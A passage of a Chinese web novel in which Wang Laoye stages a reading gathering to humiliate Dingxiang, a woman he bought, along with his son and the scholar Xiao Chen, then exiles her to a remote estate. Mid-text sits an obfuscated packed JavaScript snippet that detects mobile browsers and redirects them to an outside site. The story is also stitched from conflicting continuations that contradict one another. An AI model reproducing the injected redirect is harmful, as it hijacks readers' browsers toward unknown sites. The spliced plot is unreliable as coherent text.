王公子被家丁从柴房拖出来时，头发乱糟糟的，衣衫上还沾着尘土，眼里满是戾气。王老爷坐在正厅的太师椅上，冷冷地看着他：“待会儿给我老实点，不许出声，更不许乱动。”
“我凭什么听你的？”王公子梗着脖子，“你把丁香放了！”
“放了她？”王老爷冷笑一声，“等你看清楚她是什么货色，再说这话也不迟。”他冲家丁使了个眼色，“带他去暗格，看好了，要是让他坏了我的事，仔细你们的皮！”
暗格就在大厅侧墙的书架后，狭小的空间只能容下一个人，刚好能透过书架的缝隙看清大厅里的动静。王公子被推进去时，嘴里还在骂骂咧咧，直到家丁用布条堵住他的嘴，他才只能发出呜呜的声响，眼里的怒火几乎要烧出来。
他死死盯着缝隙外的大厅，心里只有一个念头：父亲到底要做什么？
没过多久，大厅里渐渐热闹起来。读书人们三三两两地聚着，有的围着桌子看孤本，有的凑在一起讨论诗文，空气中弥漫着茶点的香气，倒真像个正经的读书会。
肖晨跟着林羽走进来时，目光先扫过那些摊开的古籍，眼里果然露出几分兴致。他走到一本《南华经》的孤本前，仔细翻看，指尖轻轻拂过泛黄的纸页，低声赞叹：“果然是好东西。”
林羽在一旁笑着说：“我就说你会感兴趣吧？”
两人正说着，王老爷满面红光地走过来，拱手道：“肖公子能来，王某真是蓬荜生辉啊！”
肖晨客气地回了礼，心里却对他这副热情的样子有些不适，只淡淡道：“王老爷客气了，是晚辈叨扰了。”
王老爷没在意他的冷淡，笑着招呼：“快请坐，上好茶！”
就在这时，厅外传来一阵轻柔的脚步声。众人循声望去，只见一个素衣女子抱着琴，缓步走了进来。她低着头，长发垂在肩头，遮住了大半张脸，只露出一截线条柔和的下颌，身姿纤细，像株风中的兰草。
“这是……”有人低声议论，“王老爷还请了弹琴的？”
王老爷拍了拍手，笑道：“诸位读书辛苦，我特意请了位姑娘来弹几曲，助助兴。”
女子走到厅中央，放下琴，缓缓坐下。当她抬起头，调试琴弦时，肖晨的目光无意间扫过，整个人猛地僵住，手里的书差点掉在地上。
是她。
丁香。
他怎么也没想到，会在这里见到她。
她瘦了些，脸色也更苍白了，眼神里没了当初在花船上的灵动，只剩下一片沉寂，像蒙了尘的玉。
肖晨的心跳瞬间乱了，手指紧紧攥着书页，指节泛白。她怎么会在王家？她不是走了吗？
而暗格里，王公子透过缝隙看到丁香的那一刻，喉咙里发出“呜呜”的嘶吼，拼命挣扎着想冲出去，却被家丁死死按住。他看着她素净的装扮，看着她被迫坐在那里弹琴，眼里的怒火几乎要将布条烧穿。
父亲果然是故意的！他就是要让自己看着她被当作玩物，被这些人打量、评头论足！
王公子死死咬着牙，眼泪不受控制地涌上来，不是为自己，是为那个被迫低头的女子。
厅中央，丁香的指尖落在琴弦上，第一个音符响起时，带着难以察觉的颤抖。她的目光无意识地扫过人群，当看到肖晨那张震惊的脸时，瞳孔猛地一缩，指尖的力道重了些，琴弦发出一声刺耳的杂音。
她慌忙低下头，重新拨动琴弦，琴声渐渐流畅起来，却带着一股说不出的哀婉，像秋夜里的风声，听得人心头发涩。
肖晨站在原地，一动也动不了。他看着她低垂的眉眼，看着她弹奏时微微颤抖的肩膀，忽然明白了什么。
她不是走了，是被王老爷……
一股说不清道不明的情绪涌上心头，有震惊，有愤怒，还有一丝连他自己都没察觉的心疼。
林羽在一旁没注意到他的异样，只听着琴声赞叹：“弹得真好，就是调子太悲了些。”
肖晨没说话，视线紧紧锁在丁香身上，再也移不开。
暗格里的王公子，透过缝隙看着这一切。他看着丁香被迫弹琴，看着肖晨震惊的神情，看着父亲那副得意的嘴脸，心里像被刀割一样疼。
他想喊，想告诉所有人这女人是被强迫的，想冲出去带她走。
可他只能眼睁睁看着，什么也做不了。
布条勒得他嘴角生疼，眼泪混合着屈辱和愤怒，从眼角滑落。
大厅里，琴声还在继续，哀婉缠绵，像一曲无声的控诉。
而这场看似风雅的读书会，早已变成了一场精心布置的酷刑。
对丁香是，对王公子是，对肖晨……亦是。
王老爷看着厅里肖晨那副失魂落魄的样子，嘴角勾起一抹冷笑，对身旁的管家使了个眼色：“去，让他们‘偶遇’一下，说几句话。”又转头对押着王公子的家丁道，“把他带到回廊那边，让他好好听听，这女人是不是真值得他拼死护着。”
管家会意，悄悄走到丁香身边，低声说了句“王老爷让你去偏厅歇歇”，又对肖晨那边努了努嘴。肖晨正心神不宁，见状便借故离了席，往偏厅走去。
刚到偏厅门口，丁香也被“引”了过来，两人在廊下撞了个正着。
“你……”肖晨看着她，千言万语堵在喉头，最后只问出一句，“你为什么会在这里？是不是他……买了你？”
丁香的身子晃了晃，脸色瞬间惨白，她慌忙低下头，声音细若蚊蝇：“公子，你不要说了。”
“怎么能不说？”肖晨上前一步，语气里带着急切，“他是不是强迫你了？你告诉我，我……”
“没用的。”丁香猛地抬起头，眼里含着泪，却异常坚定，“你我都无法改变。他是王老爷，权势滔天，我不过是他买回来的物件，想怎么处置就怎么处置。”
“我可以去求情！”肖晨脱口而出，“我去跟他说，让他放了你！”
丁香看着他一脸认真的样子，忽然笑了，笑得带着几分苦涩：“求情？公子觉得，他会听你的吗？你可知，我若是走了，你会被他记恨，肖家说不定都会被连累。我已经够苦了，不想再拉着别人一起下水。”
“我不怕连累！”肖晨的声音有些发颤，“当初在花船……”
“那都是过去的事了。”丁香打断他，眼底的光一点点暗下去，“公子有少夫人相伴，日子过得安稳，何必再来蹚这浑水？就当……就当从来没见过我吧。”
她说着，往后退了一步，对着他福了福身：“公子保重，我先回去了。”
转身时，眼泪终于忍不住掉了下来，砸在青石板上，晕开一小片湿痕。
肖晨看着她决绝的背影，伸出手想拉住她，却又僵在半空。
他说得轻巧，可他真的能对抗王老爷吗？真的能不顾肖家的安危吗？
丁香说得对，他什么也做不了。
廊下的风带着凉意，吹得他心头发冷。
而不远处的回廊拐角，王老爷让人把王公子带在那里，特意没堵他的嘴。
王公子听着两人的对话，尤其是听到丁香那句“不想连累你”时，浑身都在发抖。
她到了这个地步，还在替别人着想！
他猛地转头，死死盯着不远处的王老爷，眼神里的恨意几乎要化为实质：“你听到了吗？这就是你说的‘不值得护着’的女人！她比你，比这府里所有的人都干净！”
王老爷看着他激动的样子，不仅没生气，反而笑了：“怎么？这就心疼了？你听听她的话，她自己都认了是我买回来的物件，你还护着她做什么？”
“她是被逼的！”王公子怒吼，“你这个老东西，你根本不懂什么叫尊严！”
“尊严？”王老爷嗤笑一声，“在我这里，银子就是尊严！她要是真有骨气，当初就不该被我买回来！”
“你！”王公子气得浑身发抖，却一句话也说不出来。
他看着丁香消失的方向，又看了看肖晨那副无力的样子，忽然明白了父亲的用意。
父亲就是要让他看清，没人能救她，没人能对抗王家的权势，连肖晨这样的世家公子都不行。
他想护着她，可他什么也做不了。
这种无力感，比被关在柴房里更让他绝望。
王公子踉跄着后退一步，靠在廊柱上，眼里的光一点点熄灭。
或许，丁香说得对。
有些事，从一开始就注定了结局。
他和她，都逃不掉。
肖晨在廊下站了许久，心头那股不甘像野草般疯长。他知道自己人微言轻，可一想到丁香那双绝望的眼睛，就无论如何也迈不开离开的脚步。
他深吸一口气，转身往正厅走，打定主意要找王老爷谈谈。
王老爷正陪着几位读书人谈笑风生，见肖晨过来，眼里闪过一丝了然的笑意，故意提高了声音：“肖公子怎么过来了？是不是那孤本还没看够？”
肖晨没心思应酬，直接开门见山：“王老爷，晚辈有一事相求。”
“哦？肖公子请讲。”王老爷端起茶杯，慢悠悠地抿了一口，等着他的下文。
周围的人也安静下来，好奇地看着他们。
肖晨迎着众人的目光，硬着头皮道：“请您放了丁香姑娘。”
话音刚落，厅里一片寂静。
王老爷放下茶杯，脸上的笑淡了下去，似笑非笑地看着他：“肖公子说什么？放了谁？”
“丁香姑娘。”肖晨迎着他的目光，语气坚定，“她本就不属于这里，您强行将她留下，未免有失妥当。”
“有失妥当？”王老爷像是听到了什么笑话，哈哈大笑起来，“肖公子怕是忘了，这女人是我花银子买回来的，是我的人，我想留就留，想放就放，轮得到外人来指手画脚？”
“买卖人口本就不合规矩！”肖晨据理力争，“她是个活生生的人，不是物件！”
“在我眼里，她就是物件。”王老爷的脸色沉了下来，带着几分威胁，“肖公子年纪轻轻，还是管好自己的事为好，别为了不相干的人，惹得大家不快。”
肖晨还想再说，却被王老爷打断：“再说了，肖公子这么关心她，莫非是对她有意思？”他凑近一步，压低声音，语气暧昧，“不瞒你说，这女人性子烈得很，到现在都不让我碰，还是个清白身子呢。”
这话像一记耳光，狠狠扇在肖晨脸上，也扇在厅里所有人的心上。几个年长的读书人皱起眉，显然对这种露骨的话很不齿。
肖晨的脸瞬间涨得通红，又气又怒，指着王老爷：“你……你简直无耻！”
“无耻？”王老爷冷笑，“我不过是实话实说。肖公子要是真喜欢，也不是不能商量，只要你开口求我，说不定我高兴了，还能割爱……”
“你住口！”肖晨再也忍不住，转身就往外走。他算是看明白了，跟这种人根本没道理可讲，多说一句都是侮辱。
王老爷看着他愤然离去的背影，嘴角勾起一抹得意的笑。
目的达到了。
既羞辱了肖晨，又让他彻底断了念想，还能让暗格里的儿子看看——这就是他寄予希望的“帮手”，不过是个一戳就破的纸老虎。
而回廊拐角，王公子听着父亲那些无耻的话，指甲深深掐进掌心，血珠渗了出来都没察觉。
他看着肖晨愤然离去的背影，又想起丁香刚才含泪的眼神，心里只剩下无尽的悲凉。
原来，在绝对的权势面前，所谓的道理、尊严，都如此可笑。
他和她，终究是逃不掉了。
王公子缓缓闭上眼睛，一行清泪顺着脸颊滑落。
大厅里的笑声、议论声，像无数根针，扎得他心口生疼。
这场精心策划的读书会，最终以一场难堪的闹剧收场。
肖晨几乎是踉跄着冲出王家大门，胸口像是堵着一团火，烧得他喘不过气。王老爷那副嘴脸、那些污秽的话，还有丁香转身时含泪的眼，在他脑海里反复盘旋，搅得他心乱如麻。
“肖兄，怎么了这是？”林羽追出来，见他脸色铁青，连忙问道，“里面出什么事了？”
肖晨猛地停下脚步，攥紧拳头，指节泛白：“那不是什么读书会，是个陷阱！王老爷就是个无耻之徒！”
林羽被他吼得一愣，随即反应过来：“他对你做什么了？”
肖晨张了张嘴，却把那些话咽了回去。说出来，既是对丁香的亵渎，也是对自己的羞辱。他摇摇头，声音沙哑：“没什么，我们走。”
回去的路上，马车里一片死寂。肖晨靠在车壁上，闭着眼，脑海里反复出现丁香抱着琴的样子。她素衣单薄，像株风雨里的兰草，明明在发抖，却还要挺直脊背。
他想起自己刚才的无能——除了愤怒地离开，什么也做不了。他承诺要为她求情，却连一句完整的话都没能说出口。
“对不起……”他对着空气，低声说了一句，声音轻得几乎听不见。
而王家大宅里，闹剧散场后，王老爷看着满地狼藉，心情却异常舒畅。他瞥了眼廊下失魂落魄的儿子，冷哼一声：“现在看清了？谁也救不了她，你也一样。”
王公子没说话，只是死死咬着牙，转身往柴房走。他的背影比来时更佝偻，却透着一股说不出的执拗。
王老爷看着他的背影，眼里闪过一丝诧异，随即被不屑取代：“还犟？我看你能犟到几时。”
管家凑上来：“老爷，那丁香姑娘……”
“看好她，”王老爷沉声道，“别让她寻死觅活，也别让她再跟这逆子有任何牵扯。”他顿了顿，眼里闪过一丝阴狠，“等过些日子，找个机会，把她送到庄子上去，眼不见为净。”
管家心里一凛，知道“送到庄子上”是什么意思——那地方偏僻荒凉，多半是有去无回。他连忙应道：“是，小的明白。”
几日后，丁香正在别院的窗前描兰草，忽然进来两个粗使婆子，不由分说就架起她往外走。
“你们干什么？放开我！”丁香挣扎着，手里的画笔掉在地上，墨汁溅了一地。
“姑娘别挣扎了，”一个婆子面无表情地说，“老爷吩咐了，送您去庄子上静养。”
丁香的心猛地一沉，她知道，这一去，怕是再无翻身之日。她挣扎着回头，望着王府的方向，眼里满是绝望。
王公子被关在柴房里，直到三日后才被放出来。他第一时间就往别院跑，却只看到空荡荡的院子，桌上还放着那幅没画完的兰草图，墨汁早已干涸。
“人呢？丁香呢？”他抓住一个洒扫的丫鬟，厉声问道。
丫鬟被他吓了一跳，哆哆嗦嗦道：“丁……丁香姑娘被送去庄子上了，三日前就走了……”
王公子如遭雷击，踉跄着后退几步，撞在廊柱上。
庄子上。
他知道那个地方，荒无人烟，只有几个看管的家丁，多少不听话的下人被送过去，再也没回来过。
“父亲……”他低声念着，眼里的光彻底熄灭了，只剩下一片死寂。
他终究还是没能护住她。
这场以爱为名的挣扎，最终还是败给了权势和命运。
王公子缓缓蹲下身，捡起地上那支沾着干涸墨汁的画笔，紧紧攥在手心。
笔杆硌得掌心生疼，却远不及心口的万分之一。
他不知道丁香在庄子上会遭遇什么，不知道她是否还活着。
他只知道，自己的人生里，从此少了一株风中的兰草，多了一道永远淌血的伤疤。
而肖晨，自那日后，再也没踏出过肖府半步。他把自己埋在书本里，可每当夜深人静，总能听见那哀婉的琴声，看见那双含泪的眼。
他终究是欠了她的。
欠她一句道歉，欠她一个没能兑现的承诺。
江南的烟雨，终究没能等来那两个向往自由的人。
王家的高墙依旧矗立，只是从此，偏院和柴房里，都只剩下无尽的空寂。
有些错过，就是一生。
有些遗憾，注定无解。
王老爷坐在太师椅上，指尖敲着桌面，发出沉闷的声响。家丁把王公子推进来时，他刚从柴房出来，眼窝深陷，下巴上冒出些胡茬，整个人透着股颓败的倔强。
“坐。”王老爷抬了抬下巴，语气听不出喜怒。
王公子没动，梗着脖子站在原地，像头不肯低头的困兽。
王老爷也不逼他，慢悠悠地倒了杯茶：“我问你，那日在回廊，你都听见了？”
王公子攥紧拳头，没应声。
“我要是真放了丁香，”王老爷呷了口茶，目光落在他脸上，带着几分嘲弄，“你觉得她会爱上你？别忘了，肖晨在她心里是有位置的，你拼死拼活救她出去，她未必会领你的情。”
这话像针，扎得王公子心口发疼。他确实想过，若真逃到江南，她会不会……可父亲的话，戳破了那点自欺欺人的念想。
“只要她在府里，”王老爷继续说，声音里带着诱惑，“你起码还能看见她，知道她平安。若是她真跟了别人——不管是肖晨，还是哪个不知名的小子，你甘心？”
王公子猛地抬头，眼里满是愤怒：“你把她当什么了？物件吗？可以让来让去？”
“不然呢？”王老爷放下茶杯，冷笑一声，“她本就是我花银子买来的，我想给谁就给谁。你要是识相，别再跟我作对，安安分分做你的王家少爷，”他顿了顿，说出那句最腌臜的话，“等我玩腻了她，再送给你。到时候，她身子是你的，人也跑不了，不比现在这样看得见摸不着强？”
“你无耻！”王公子像被踩了尾巴的猫，猛地冲上前，却被家丁死死按住。他红着眼嘶吼，“她不是玩物！你不配提她的名字！”
“配不配，不是你说了算。”王老爷看着他激动的样子，反而笑了，“你好好想想我的话。是看着她留在府里，将来还有机会留在你身边；还是逼我动真格，把她送去庄子上，让你这辈子都见不着。”
他站起身，走到王公子面前，拍了拍他的脸：“别傻了，儿子。这世道就是这样，有权有银子，才能握住想握的东西。你跟我犟，最后什么也得不到。”
说完，他挥挥手，让家丁把人拖出去。
王公子被拖出书房时，喉咙里发出困兽般的呜咽。父亲的话像毒蛇，钻进他心里，缠得他喘不过气。
甘心吗？
他不甘心丁香留在这泥沼里，更不甘心她跟别人走。
可父亲那句“等我玩腻了再送给你”，像块烧红的烙铁，烫得他五脏六腑都在疼。
他回到自己院里，把自己关了三天三夜。
第四天开门时，眼底的红血丝褪了，却多了层死寂。他走到偏院——那里早已空无一人，只有风吹过窗棂的呜咽声。
他知道父亲的话是毒药，却偏偏有几分道理。
至少，能让她活着。
至少，还能有个念想。
王公子慢慢蹲下身，捡起地上那支丁香遗落的画笔，指尖触到干涸的墨汁，凉得刺骨。
他终究还是低头了。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993200|178041||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
不是因为懦弱，是因为他实在想不出别的办法。
除了用这种屈辱的方式，留住她最后一点生机。
他对着空院，低声说了句什么，风一吹就散了，连他自己都没听清。
或许是“我等”，或许是“对不起”。
又或许，只是一声无声的叹息。
在这场权势与尊严的较量里，他终究还是输了。输得一败涂地，连带着那份刚冒头的、小心翼翼的喜欢，都染上了洗不清的污秽。
王公子蹲在空院里，指尖摩挲着那支冰冷的画笔，管家的声音像带着钩子，一句句钻进耳朵里。
“少爷，老爷的话糙理不糙。”管家站在他身后，声音放得平缓，“这世道就是这样，拳头硬、家底厚，才能护得住人。丁香姑娘留在府里，就算一时受委屈，起码衣食无忧，没人敢真伤她——毕竟，老爷还没厌弃她，您也还惦记着。”
他顿了顿，走近一步：“可要是真放她走了呢？她一个弱女子，手无缚鸡之力，肖公子那边……您也看见了，连王老爷的面子都不敢硬顶，真能护她周全？万一她走投无路，被哪个有权有势的看上，或是落到比王府更糟的地方，您能安心？”
王公子的肩膀几不可察地抖了抖。
“您喜欢她，难道不想拥有她？”管家的声音带着点循循善诱，“老爷说了，等他腻了就给您。到时候，您把她护在自己院里，谁也不敢再欺负她，她想弹琴就弹琴，想画画就画画，不比让她在外头颠沛流离强？”
“至于肖公子……”管家嗤笑一声，“他不过是一时新鲜，真让他为了个‘不清不楚’的女子跟王家翻脸？不可能。您要是把她放出去，指不定哪天就听说，她被肖家拒之门外，或是……真跟了哪个不知名的野小子，到时候，您哭都来不及。”
最后一句话，像重锤敲在王公子心上。
他想起丁香对肖晨的在意，想起她提起“朋友”时眼里的光，一股莫名的恐慌涌了上来。
舍得吗？
舍得她跟别人在一起吗？
答案是，不舍得。
那点刚被压下去的占有欲，被管家的话勾了起来，像藤蔓一样缠上心脏。
“没了王家的富贵，您以为逃出去就安稳了？”管家看穿了他的心思，继续道，“外面的人眼馋王家的银子，更恨老爷的权势，真逮着您和她，还不往死里欺负？到时候，您连自己都护不住，怎么护她？”
王公子慢慢站起身，背对着管家，声音沙哑得像被砂纸磨过：“我知道了。”
管家松了口气，知道他这是听进去了：“少爷想通就好，这才是明智之举。”
王公子没回头，一步步走出空院。阳光落在他身上，却暖不了他半分。
他知道管家说的是“道理”，是这世道最现实的生存法则。
可心里那点关于“自由”“尊严”的火苗，像是被泼了盆冷水，明明灭灭，最终还是弱了下去。
他回到自己院里，让下人备了笔墨，写下四个字：“安分守己”。
贴在书桌前，像一道符咒，也像一道枷锁。
从此，他不再提放丁香，不再闯柴房，每日按时读书、练字，对父亲言听计从，活成了王家少爷该有的样子。
只是没人知道，夜深人静时，他会对着那幅母亲留下的兰草图，一看就是半夜。
图上的兰草生在石缝里，倔强地朝着阳光。
像极了那个叫丁香的女子。
也像极了曾经的自己。
而城郊的别院，丁香望着窗外的月亮，总觉得心里空落落的。
王公子很久没来了。
是放弃了吗？
也好。
她轻轻抚摸着藏在怀里的银哨，冰凉的触感让她清醒。
或许，这样才是最好的结局。
他做他的王家少爷，她做她的笼中鸟。
谁也别再连累谁。
只是那江南的梦，偶尔还是会闯进夜里。
梦里有自由的风，有摇摇晃晃的船，还有……那个愿意带她逃的少年。
醒来时，只有满枕的泪。
日子就这么不咸不淡地过着。王公子果然如他承诺的那般“安分守己”，每日埋首书堆，对府里的事不闻不问，连父亲偶尔提及丁香，他也只是垂眸饮酒，半句不多言。王老爷见他这般，渐渐放下心来，只当他是彻底断了念想。
而丁香被送去的庄子，比想象中更荒凉。四面是高高的土墙，墙外是望不到头的农田，只有两个老妈子轮流看守，连只飞鸟都难得落下。她每日坐在窗边，看着日头从东边升起，又从西边落下，手里的针线绣了拆、拆了绣，最终也只是绣出一片模糊的兰草。
王公子偶尔会托管家给庄子送些东西——几匹素布，一盒颜料，甚至还有一本新出的诗集。东西送到丁香手里，她从不问是谁给的，只是默默收下，叠好、放妥，像收藏着一点微弱的光。
这天，管家又来送东西，是一小罐桂花糕，还是当初王公子常买的那家老字号。
“少爷说，姑娘或许爱吃。”管家站在院门口，隔着老远递过罐子，语气客气却疏离。
丁香接过罐子，指尖触到微凉的瓷面，轻声道：“替我谢他。”
管家没应声，转身就走。他看得明白，这两人之间，像是隔了层看不见的纱，明明在意，却又不肯靠近。
罐子放在桌上，桂花的甜香漫出来，勾得人心里发慌。丁香捏着盖子，犹豫了许久，终究还是没打开。
她怕一尝这甜味，就会想起那个在偏院陪她说话的少年，想起那辆疾驰在夜色里的马车，想起那些关于江南的、不切实际的梦。
而王府里，王公子正对着棋盘发愣。父亲坐在对面，落下一子：“在想什么？心不在焉的。”
“没什么。”王公子收回目光，随意落下一子，“只是觉得这棋路，有些眼熟。”
“哦？”王老爷挑眉，“这是我新学的路数，你自然没见过。”他看着儿子，忽然道，“过几日是你母亲的忌日，去庄子上看看吧，那边有块地，是你母亲生前喜欢的。”
王公子的手顿了顿，抬眼看向父亲，眼里闪过一丝诧异。
王老爷避开他的目光，端起茶杯：“顺便……看看那女人，要是安分，就让她回来吧，总在庄子上也不是事。”
王公子的心跳漏了一拍，面上却依旧平静：“好。”
他知道，父亲这是松口了。或许是看他安分了太久，或许是……终究念及一点旧情。
几日后，王公子带着祭品去了庄子。祭拜完母亲，他站在坟前，沉默了许久。
“娘，我好像……变成了你最不喜欢的样子。”他低声说，声音里带着自嘲，“可我没别的办法。”
风吹过麦田，发出沙沙的声响，像是母亲的叹息。
离开坟地，他往丁香住的小院走去。远远就看见她坐在廊下，手里拿着针线，阳光落在她发间，安静得像幅画。
听到脚步声，丁香抬起头，看到是他，眼里闪过一丝惊讶，随即恢复了平静，站起身福了福身：“公子。”
“嗯。”王公子走到她面前，看着她手里的绣品——一片模糊的兰草，“在绣花？”
“闲着无事，随便绣绣。”她低下头，把绣品往身后藏了藏。
两人站在廊下，一时无话。风吹过，带着麦田的气息，竟比在王府时多了几分自在。
“父亲让我带你回去。”王公子忽然说。
丁香猛地抬头，眼里满是震惊：“回去？回王府？”
“嗯。”王公子点头，“回偏院，还是以前的地方。”
丁香的嘴唇动了动，想说什么，最终却只是摇了摇头：“我不回去。”
王公子愣住了：“为什么？”
“回去做什么？”丁香笑了笑，眼里带着几分疲惫，“继续被当作物件，被你们父子讨论‘谁先谁后’？公子，我累了。”
她抬起头，直视着他的眼睛，语气平静却坚定：“在这里，虽然偏，却清净。至少，没人会逼我弹琴，没人会算计我，我只想守着这一方小院，安安静静地过。”
王公子看着她眼底的疲惫，心里像被什么东西揪了一下。
他以为带她回去是救赎，却忘了，王府于她而言，从来都是牢笼。
“好。”他点了点头，声音有些沙哑，“你想留在这里，就留下吧。我会跟父亲说，让他们别来打扰你。”
丁香看着他，忽然笑了，眼里带着点释然：“谢谢。”
这声“谢谢”，比以往任何一次都真诚。
王公子没再多说，转身离开了小院。
走出庄子时，他回头望了一眼，那座小院在麦田里，像个孤独的标点。
或许，这才是最好的结局。
他守着王家的枷锁，她守着庄子的清净。
不必再纠缠，不必再挣扎。
只是偶尔，王公子会想起那个月色皎洁的夜晚，马车在土路上疾驰，她眼里的光比星星还亮。
他终究没能带她去江南。
而庄子里，丁香把那罐桂花糕打开，尝了一口，甜得发腻，却让她想起了偏院的阳光，想起了少年微红的脸颊。
她慢慢嚼着，眼泪掉了下来，砸在绣品上，晕开一小片水渍。
兰草的轮廓，忽然变得清晰起来。
像极了她自己。
生在泥沼，却总想朝着阳光。
哪怕，只是在这荒凉的庄子里，独自芬芳。